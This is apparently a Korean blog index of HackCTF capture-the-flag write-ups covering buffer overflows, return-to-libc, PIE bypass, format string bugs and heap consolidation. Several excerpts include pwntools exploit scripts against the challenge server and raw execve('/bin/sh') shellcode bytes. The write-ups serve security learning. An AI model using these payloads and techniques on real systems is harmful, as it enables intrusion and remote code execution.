anonymous?

dlsym 함수는 C 언어에서 사용하는 함수로, 위의 코드에서 system 함수의 주소(두 번째 인자를 이르으로 가지는 함수의 주소)를 라이브러리 handle(첫 번째 인자)에서 찾아서 v6 변수에 저장한다. 즉, system 함수의 주소는 v6에 저장되어있다. 또 아래의 for문은 초기에 “/bin/sh”를 찾기 위해 코딩해서 사용했었던 방법인데 system 함수 주소 처음부터 1씩 주소를 증가시키면서 s1의 값과 “/bin/sh”를 비교해서 같으면 for문을 멈춘다. 따라서 s1에는 “/bin/sh” 주소가 저장된다. RTL = &system + 4 byte dummy + &”/bin/sh” 만 있으면 return address에 system addr를 넣고 RTL을 전달하면 system(“/bin/..

SYSTEM HACKING/HackCTF 2020. 1. 2. 00:07

1. 보호기법 확인 문제이름대로 PIE가 걸려있다. 2. 코드 확인 코드를 보니까 flag를 출력해주는 함수는 j0n9hyun 함수인데, 주소는 welcome주소를 출력해준다. 주소가 고정적이지 않고 실행할 때마다 바뀌므로 실행 시 welcome 주소를 leak 한 후 구해놓은 welcome과 j0n9hyun 함수와의 offset으로 j0n9hyun 함수의 실행 시 주소를 구하고 RTL을 이용해서 return address를 이 주소로 덮어서 리턴 시 flag가 출력되도록 한다. 3. 실행 주소의 길이가 10이므로 recv(10)으로 leak 한다. 4. exploit code #!/usr/bin/python from pwn import * #p = process("./bof_pie") p = remot..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:59

1. 보호기법 확인 2. 코드 확인 gets 함수로 입력받는다. 따라서 sendline으로 payload를 엔터를 포함해서 전달해야 FLAG가 바로 따진다. selec_func에서 src에서 dest로 복사를 하는데, src는 main의 s이고 sfp에서 0x27바이트 떨어진 위치, dest는 sfp에서 0x2c 떨어진 위치에 있다. dest가 src보다 0x3 바이트 더 앞에 있다. 그리고 selec_func 함수 마지막에 return v3()를 하는데, 이 v3가 가리키는 곳을 print_flag로 바꾸면 return 시 print_flag가 실행될 수 있을 것이다. 그럼 dest에 복사됐을 때 v3를 정확하게 print_flag 함수 주소로 덮으면 되는데, 그 앞의 dummy를 얼마를 줘냐 하느냐가..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:26

1. 보호기법 확인 2. 실행 3. exploit code Buffer 주소를 출력해주니까 처음에 아무거나 입력하고 출력해주는 buffer의 시작주소를 받아온다. 그리고 다시 y를 입력해서 shellcode를 buffer에 넣고 return address를 buffer의 주소로 변조해서 리턴 시 buffer의 쉘이 실행되게 한다. 4. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:23

1. 보호기법 확인 계속 ex가 안 되서 뭐가 문제인가 했더니 쉘코드를 기존에 사용하던 것과 다른 것을 사용해야 한다고 한다.. "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 이 쉘코드를 사용하니까 제대로 쉘이 따졌다. 2. exploit code #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./Simple_size_bof") p = remote("ctf.j0n9hyun.xyz", 3005) p.recvuntil("buf: ") buf = int(p.recv(14), 16) log.info..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:21

1. 보호기법 확인 2. exploit code #!/usr/bin/python from pwn import * #p = process("./64bof_basic") p = remote("ctf.j0n9hyun.xyz", 3004) callMeMaybe = 0x400606 pay = 'A'*0x118 + p64(callMeMaybe) p.sendline(pay) p.interactive() 그냥 return address 전까지를 다 dummy로 주고 return address를 shellcode를 실행해주는callMeMaybe 함수의 주소로 변조하면 된다. 3. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:19

Name에 24 바이트짜리 쉘코드를 넣어놓고 (nop으로 바인딩) gets 함수는 버퍼오버플로우 취약점이 있으므로 s와 sfp를 dummy로 채우고 Return address에 &name을 주면, return 시 name으로 리턴해서 name에 들어있는 쉘코드가 실행될 수 있다. #!/usr/bin/python from pwn import * #context.log_level = 'debug' #p = process("./prob1") p = remote("ctf.j0n9hyun.xyz", 3003) name = 0x804a060 pay = '\x90'*13 pay += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:18

1. IDA snprintf 함수는 character string인 format에 s의 0x400 바이트를 적는다. snprintf() 함수에서 format string bug 취약점 발생 2. 보호기법 확인 3. pseudo code 4. 실행 AAAA로 값을 주고 %x를 몇 개 줘서 출력값을 확인해보면 A의 아스키코드값인 41이 두 번째에 들어가있다. FSB에서 사용하는 방법 중 하나는 %n을 사용해서 특정 libc 주소의 got를 원하는 주소 값으로 overwrite하는 것이다. %n 지시자는 출력된느 내용을 카운팅해서 %n으로 받아 값을 저장한다. 따라서 %n 지시자를 위와 같이 overwrite하길 바라는 AAAA와 같은 값의 위치에 주면, AAAA가 써있는 곳에 원하는 값으로 overwrite..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:15

1. exploit code #!/usr/bin/python from pwn import * #p = process("./bof_basic2") p = remote("ctf.j0n9hyun.xyz", 3001) elf = ELF("./bof_basic2") shell = elf.symbols['shell'] p.sendline('A'*(0x8c-0xc) + p32(shell)) p.interactive() 2. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:58

1. exploit code #!/usr/bin/python from pwn import * p = remote("ctf.j0n9hyun.xyz", 3000) p.sendline('A'*(0x34-0xc) + p32(0xdeadbeef)) p.interactive() 2/ exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:57

1. 보호기법 확인 2. offset 구하기 &puts - &system = 0x2a300 “pop rdi; ret” : 0x400bc3 puts – libc = libc.symbols[‘puts’] libc = puts- libc_puts_off binsh_addr = libc+libc_binsh_off system_addr = puts – puts_system_off 3. exploit code 그냥 puts 주소를 write로 leak 하고 libc, /bin/sh, system 주소를 구한 offset 주소로 구한다. Don’t break the rules…:( 뒤에 띄어쓰기가 있는 것을 주의.. 그리고 puts로 출력했기 때문에 \n을 같이 받는다. 4. exploit

SYSTEM HACKING/CTF, etc 2020. 1. 1. 16:54

1. heap에서 병합이 일어나는 경우 1) prev_inuse 비트가 해제된 청크를 해제(free) 시 prevChunk와 병합 또는 prev_inuse 비트가 해제된 청크 앞으로 두 번째 청크가 해제됐을 때 그 뒤 청크와 병합 2) largeChunk 할당(malloc) 시 fastbinChunk와 인접해있는 경우 fastbinChunk와 병합 2. fastbin_dup_consolidate - 청크 병합 시 발생하는 취약점 - largeChunk를 할당했을 때 fastbinChunk와 인접해있지 않은 경우 fastbinChunk가 smallbin으로 이동하는 것을 이용한 기법 fastbin에서 해제되고 fastbinsY[i]에 있던 경우 bins[i+1]에 들어간다. 이후 다음 fastChunk의 ..

SYSTEM HACKING/Exploit Tech 2020. 1. 1. 16:47